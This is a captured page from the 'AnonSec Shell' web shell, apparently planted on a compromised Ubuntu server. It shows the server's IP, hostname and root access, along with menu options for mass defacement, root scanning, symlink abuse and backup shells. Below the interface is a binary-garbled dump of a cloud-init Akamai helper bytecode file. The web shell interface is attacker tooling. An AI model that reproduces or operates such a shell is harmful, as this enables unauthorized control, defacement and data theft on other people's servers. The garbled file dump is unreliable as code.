AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/akamai.cpython-310.pyc
o

x[h��@s�ddlZddlmZmZmZmZddlmZdddddd	d
�Zdee	ee
e	fffdd
�Zde
fdd�Zdee	fdd�Z
dS)�N)�Any�Dict�Optional�Union)�dmi�allow_local_stage�allow_init_stage�
allow_dhcp�
allow_ipv4�
allow_ipv6�preferred_mac_prefixes)�als�ais�dhcp�v4�v6�pmp�returncCsnt�d�}i}|s|St�d|�D]#\}}}|tvr4|dvr%tt|��}n	|dkr.|�d�}||t|<q|S)zH
    Parses flags from dmi data and updates self.ds_cfg accordingly
    zbaseboard-serial-numberz([a-z0-9]+)=(.*?)(;|$)�01r�,)r�
read_dmi_data�re�findall�DMI_OVERRIDE_MAP�bool�int�split)�	dmi_flags�ret�key�value�_�r"�B/usr/lib/python3/dist-packages/cloudinit/sources/helpers/akamai.py�get_dmi_configs

�r$cCst�d�}|dvS)zo
    Reads the BIOS vendor from dmi data to determine if we are running in the
    Akamai Connected Cloud.
    zsystem-manufacturer)�Linode�Akamai�rr)�vendorr"r"r#�is_on_akamai(s
r)cCs
t�d�S)zo
    Returns the instance id read from dmi data without requiring the metadata
    service to be reachable
    zsystem-serial-numberr'r"r"r"r#�get_local_instance_id1s
r*)r�typingrrrr�	cloudinitrr�strrr$r)r*r"r"r"r#�<module>s�
	

Anon7 - 2022
AnonSec Team